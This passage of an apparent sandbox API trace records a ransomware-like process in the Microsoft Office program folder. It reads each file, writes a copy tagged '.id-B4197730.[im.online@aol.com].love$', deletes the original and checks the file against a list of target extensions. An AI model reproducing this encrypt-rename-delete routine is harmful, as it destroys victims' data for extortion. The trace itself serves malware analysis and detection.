dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0250.074] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.074] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0250.075] GetLastError () returned 0x0 [0250.075] ReadFile (in: hFile=0x528, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2d753, lpOverlapped=0x0) returned 1 [0250.449] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d760, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d760, lpOverlapped=0x0) returned 1 [0250.454] ReadFile (in: hFile=0x528, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0250.454] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xf6, lpOverlapped=0x0) returned 1 [0250.454] SetEndOfFile (hFile=0x548) returned 1 [0250.454] CloseHandle (hObject=0x548) returned 1 [0250.454] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.454] SetEndOfFile (hFile=0x528) returned 1 [0250.462] CloseHandle (hObject=0x528) returned 1 [0250.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0250.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 1 [0250.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0250.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0250.821] lstrlenW (lpString=".doc") returned 4 [0250.821] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0250.821] lstrlenW (lpString=".docx") returned 5 [0250.821] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0250.823] lstrlenW (lpString=".pdf") returned 4 [0250.823] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0250.823] lstrlenW (lpString=".xls") returned 4 [0250.823] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0250.825] lstrlenW (lpString=".xlsx") returned 5 [0250.825] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0250.825] lstrlenW (lpString=".ppt") returned 4 [0250.827] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0250.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0250.827] lstrlenW (lpString=".zip") returned 4 [0250.827] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0250.828] lstrlenW (lpString=".rar") returned 4 [0250.828] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0250.828] lstrlenW (lpString=".bz2") returned 4 [0250.829] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0250.830] lstrlenW (lpString=".7z") returned 3 [0250.830] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0250.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0250.834] lstrlenW (lpString=".dbf") returned 4 [0250.834] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0250.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0250.834] lstrlenW (lpString=".1cd") returned 4 [0250.840] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0250.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0250.840] lstrlenW (lpString=".jpg") returned 4 [0250.840] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0250.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0250.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0250.840] lstrlenW (lpString=".doc") returned 4 [0250.840] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0250.840] lstrlenW (lpString=".docx") returned 5 [0250.840] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0250.840] lstrlenW (lpString=".pdf") returned 4 [0250.840] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0250.840] lstrlenW (lpString=".xls") returned 4 [0250.840] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0250.840] lstrlenW (lpString=".xlsx") returned 5 [0250.840] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0250.840] lstrlenW (lpString=".ppt") returned 4 [0250.840] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0250.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0250.841] lstrlenW (lpString=".zip") returned 4 [0250.841] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0250.841] lstrlenW (lpString=".rar") returned 4 [0250.841] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0250.841] lstrlenW (lpString=".bz2") returned 4 [0250.841] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0250.841] lstrlenW (lpString=".7z") returned 3 [0250.841] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0250.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0250.841] lstrlenW (lpString=".dbf") returned 4 [0250.841] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0250.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0250.841] lstrlenW (lpString=".1cd") returned 4 [0250.841] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0250.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0250.841] lstrlenW (lpString=".jpg") returned 4 [0250.841] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0250.841] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.841] lstrlenW (lpString="AppVPackaging.dll") returned 17 [0250.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0250.843] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=578264) returned 1 [0250.843] CloseHandle (hObject=0x528) returned 1 [0250.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll")) returned 0x220 [0250.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0250.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0250.844] lstrlenW (lpString=".doc") returned 4 [0250.844] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.844] lstrlenW (lpString=".docx") returned 5 [0250.844] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0250.844] lstrlenW (lpString=".pdf") returned 4 [0250.844] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.844] lstrlenW (lpString=".xls") returned 4 [0250.844] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.844] lstrlenW (lpString=".xlsx") returned 5 [0250.844] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0250.844] lstrlenW (lpString=".ppt") returned 4 [0250.844] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0250.844] lstrlenW (lpString=".zip") returned 4 [0250.844] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.845] lstrlenW (lpString=".rar") returned 4 [0250.845] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.845] lstrlenW (lpString=".bz2") returned 4 [0250.845] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.845] lstrlenW (lpString=".7z") returned 3 [0250.845] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0250.845] lstrlenW (lpString=".dbf") returned 4 [0250.845] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0250.845] lstrlenW (lpString=".1cd") returned 4 [0250.845] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0250.845] lstrlenW (lpString=".jpg") returned 4 [0250.845] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0250.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0250.845] lstrlenW (lpString=".doc") returned 4 [0250.845] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.845] lstrlenW (lpString=".docx") returned 5 [0250.845] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0250.845] lstrlenW (lpString=".pdf") returned 4 [0250.845] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.845] lstrlenW (lpString=".xls") returned 4 [0250.845] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.845] lstrlenW (lpString=".xlsx") returned 5 [0250.845] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0250.845] lstrlenW (lpString=".ppt") returned 4 [0250.845] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0250.845] lstrlenW (lpString=".zip") returned 4 [0250.845] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.845] lstrlenW (lpString=".rar") returned 4 [0250.845] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.845] lstrlenW (lpString=".bz2") returned 4 [0250.846] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.846] lstrlenW (lpString=".7z") returned 3 [0250.846] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0250.846] lstrlenW (lpString=".dbf") returned 4 [0250.846] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0250.846] lstrlenW (lpString=".1cd") returned 4 [0250.846] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66 [0250.846] lstrlenW (lpString=".jpg") returned 4 [0250.846] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.846] lstrcmpiW (lpString1=".manifest", lpString2=".love$") returned 1 [0250.846] lstrlenW (lpString="AppVPackaging.dll.manifest") returned 26 [0250.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0250.847] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=707) returned 1 [0250.847] CloseHandle (hObject=0x528) returned 1 [0250.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 0x220 [0250.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0250.848] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.848] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0250.851] GetLastError () returned 0x0 [0250.851] ReadFile (in: hFile=0x528, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2c3, lpOverlapped=0x0) returned 1 [0250.852] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x2d0, lpOverlapped=0x0) returned 1 [0250.853] ReadFile (in: hFile=0x528, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0250.853] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x108, lpOverlapped=0x0) returned 1 [0250.854] SetEndOfFile (hFile=0x548) returned 1 [0250.854] CloseHandle (hObject=0x548) returned 1 [0250.854] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.854] SetEndOfFile (hFile=0x528) returned 1 [0250.857] CloseHandle (hObject=0x528) returned 1 [0250.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0250.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 1 [0250.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0250.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0250.858] lstrlenW (lpString=".doc") returned 4 [0250.858] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0250.858] lstrlenW (lpString=".docx") returned 5 [0250.858] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0250.858] lstrlenW (lpString=".pdf") returned 4 [0250.858] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0250.858] lstrlenW (lpString=".xls") returned 4 [0250.858] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0250.858] lstrlenW (lpString=".xlsx") returned 5 [0250.858] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0250.858] lstrlenW (lpString=".ppt") returned 4 [0250.858] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0250.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0250.858] lstrlenW (lpString=".zip") returned 4 [0250.859] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0250.859] lstrlenW (lpString=".rar") returned 4 [0250.859] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0250.859] lstrlenW (lpString=".bz2") returned 4 [0250.859] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0250.859] lstrlenW (lpString=".7z") returned 3 [0250.859] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0250.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0250.859] lstrlenW (lpString=".dbf") returned 4 [0250.859] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0250.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0250.859] lstrlenW (lpString=".1cd") returned 4 [0250.859] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0250.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0250.859] lstrlenW (lpString=".jpg") returned 4 [0250.859] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0250.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0250.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0250.859] lstrlenW (lpString=".doc") returned 4 [0250.859] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0250.859] lstrlenW (lpString=".docx") returned 5 [0250.859] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0250.859] lstrlenW (lpString=".pdf") returned 4 [0250.859] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0250.859] lstrlenW (lpString=".xls") returned 4 [0250.859] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0250.859] lstrlenW (lpString=".xlsx") returned 5 [0250.859] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0250.859] lstrlenW (lpString=".ppt") returned 4 [0250.859] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0250.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0250.859] lstrlenW (lpString=".zip") returned 4 [0250.860] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0250.860] lstrlenW (lpString=".rar") returned 4 [0250.860] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0250.860] lstrlenW (lpString=".bz2") returned 4 [0250.860] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0250.860] lstrlenW (lpString=".7z") returned 3 [0250.860] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0250.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0250.860] lstrlenW (lpString=".dbf") returned 4 [0250.860] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0250.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0250.860] lstrlenW (lpString=".1cd") returned 4 [0250.860] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0250.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0250.860] lstrlenW (lpString=".jpg") returned 4 [0250.860] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0250.860] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0250.860] lstrlenW (lpString="AppVStreamMap.dll") returned 17 [0250.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0250.862] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=194776) returned 1 [0250.862] CloseHandle (hObject=0x528) returned 1 [0250.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll")) returned 0x220 [0250.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0250.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0250.862] lstrlenW (lpString=".doc") returned 4 [0250.862] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.862] lstrlenW (lpString=".docx") returned 5 [0250.862] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0250.862] lstrlenW (lpString=".pdf") returned 4 [0250.862] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.863] lstrlenW (lpString=".xls") returned 4 [0250.863] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.863] lstrlenW (lpString=".xlsx") returned 5 [0250.863] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0250.863] lstrlenW (lpString=".ppt") returned 4 [0250.863] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0250.863] lstrlenW (lpString=".zip") returned 4 [0250.863] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.863] lstrlenW (lpString=".rar") returned 4 [0250.863] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.863] lstrlenW (lpString=".bz2") returned 4 [0250.863] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.863] lstrlenW (lpString=".7z") returned 3 [0250.863] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0250.863] lstrlenW (lpString=".dbf") returned 4 [0250.863] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0250.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0250.863] lstrlenW (lpString=".1cd") returned 4 [0250.863] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0250.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0250.864] lstrlenW (lpString=".jpg") returned 4 [0250.864] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0250.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0250.864] lstrlenW (lpString=".doc") returned 4 [0250.864] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.864] lstrlenW (lpString=".docx") returned 5 [0250.864] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0250.864] lstrlenW (lpString=".pdf") returned 4 [0250.864] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.864] lstrlenW (lpString=".xls") returned 4 [0250.864] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0250.864] lstrlenW (lpString=".xlsx") returned 5 [0250.864] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0250.864] lstrlenW (lpString=".ppt") returned 4 [0250.864] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0250.864] lstrlenW (lpString=".zip") returned 4 [0250.864] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0250.864] lstrlenW (lpString=".rar") returned 4 [0250.864] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0250.864] lstrlenW (lpString=".bz2") returned 4 [0250.864] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0250.864] lstrlenW (lpString=".7z") returned 3 [0250.864] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0250.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 